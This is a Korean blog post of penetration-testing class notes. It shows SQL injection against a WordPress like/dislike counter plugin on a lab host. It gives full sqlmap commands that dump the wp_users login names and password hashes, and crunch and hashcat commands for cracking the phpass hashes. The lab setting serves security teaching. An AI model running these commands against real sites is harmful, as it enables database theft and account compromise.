보안 / 개발 챌린저가 목표

모의해킹 실습 (4) 본문

IT Security/Class_Do it

모의해킹 실습 (4)

햄미은서 2020. 10. 14. 23:03

▶ SQL Injection 응용

  - 모의해킹 사이트 환경

   [Ubuntu Wordpress] http://192.168.0.104

   [Window XP] http://192.168.0.133

 

❓ Quiz 1 ❓  SQLi 취약점이 있는 파라미터(인자) 확인하고 sqlmap을 이용하여 관리자 ID / PW를 출력해보기.

  <참고> https://eliez3r.github.io/post/2019/10/25/study-db-sqlmap.html 

 

  ① 취약한 파라미터 찾기

 ☞ g를 검색했을 때 파라미터가 s로 넘어간다. 하지만 취약 파라미터는 아님.

 

 ☞ 댓글을 남길 때 넘어가는 파라미터 중, 

    unapproved가 있다.

    하지만 취약 파라미터 아님.

 

 

 

 

 

 

post_id=1 and 1=1&up_type=like (TRUE)

  ☞ 참 값을 넣어주면,

1

  ☞ 1(true)이 나온다.

 

post_id=1 and 1=2&up_type=dislike (FALSE)
0

  ☞ 마찬가지로, 거짓 값을 넣어주면 0(false)이 나온다.

  ⇒ 이를 바탕으로, post_id가 반응이 있는 파라미터이다. 

 

  ② 취약한 파라미터 찾아보기

   - http://192.168.0.104/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php

   - post_id=1&up_type=like

   ⇒ 이 두개를 가지고 Kali에서 sqlmap을 이용하여 확인!

 

  ③ 필요한 DB 찾기

sqlmap -u "http://192.168.0.104/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=like" -p post_id --level=3 --dbs

 

 

 ☞ 우리가 필요한 Database = wordpress

 

 

 

 

  ④ 필요한 DB(wordpress)를 찾은 후, table 목록 출력하기

sqlmap -u "http://192.168.0.104/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=like" -p post_id -D wordpress --tables

 

 

 

 ☞ wordpress의 table 목록

    우리가 필요한 table = wp_users

 

 

 

 

 

 

 

 

 

 

 

 

  ⑤ table의 컬럼들 출력하기

sqlmap -u "http://192.168.0.104/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=like" -D wordpress -T wp_users --columns

 

 

 ☞ 관리자 ID와 PW의 컬럼 선택!

    ID : user_login

    PW : user_pass

 

 

 

 

 

 

 

 

 

 

 

  ⑥ 해당 컬럼의 값을 알아내기

sqlmap -u "http://192.168.0.104/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --data "post_id=1&up_type=like" -D wordpress -T wp_users -C "user_login, user_pass" --dump

 

 

 ☞ 첫 번째 yes, 두 번째 no

    결과 값이 나옴

 

 

 

 

▷ 해시값 크랙하기

  - Crunch 란?

    § 여러가지 숫자 or 특수문자 등을 조합하여 패스워드 조합 문자를 만들어주는 프로그램

 

cd /usr/share/crunch/

  - crunch 디렉토리로 들어가서 목록을 확인

 

  - charset.lst 를 cat으로 읽어보면 lalpha 를 찾을 수 있음(소문자로 만드는 것)

 

crunch 1 5 -f /usr/share/crunch/charset.lst lalpha -o ~/wordlist.txt

  - 크런치라는 툴로 최소 1자리부터 최대 5자리까지 영어 소문자(lalpha)로 조합 문자 만들기

    (home 디렉토리에 wordlist.txt 만들어짐)

    (-f : file   /  -o : output)

  - home에 wordlist.txt 생김

 

  - hashcat 을 설치하여 폴더 안에 passwd.txt 파일을 생성 후, 이 파일에 위에 만든 해시값 저장.

  - -a : attack 모드 0 (디폴트)

  - -m : 해시값이 어떤 종류의 해시값인지 알면 400 넘버링을 해달라는 뜻

     *400은 phpass. 해시값의 종류에 따라 -m을 잘 사용해야 함

 

  - hashcat 폴더에서 cmd 창을 엶

hashcat -a 0 -m 400 -d 1 -o crack.txt passwd.txt wordlist.txt

 

  - crack.txt가 생기고, 해당 폴더를 열어보면

  - 결과가 나온 것을 확인할 수 있음

'IT Security > Class_Do it' 카테고리의 다른 글

모의해킹 실습 (5)  (0) 2020.10.16
모의해킹 실습 (3)  (0) 2020.10.14
모의해킹 실습 (2)  (0) 2020.10.12
모의해킹 실습 (1)  (0) 2020.10.07
네트워크 장비 진단  (0) 2020.09.25
Comments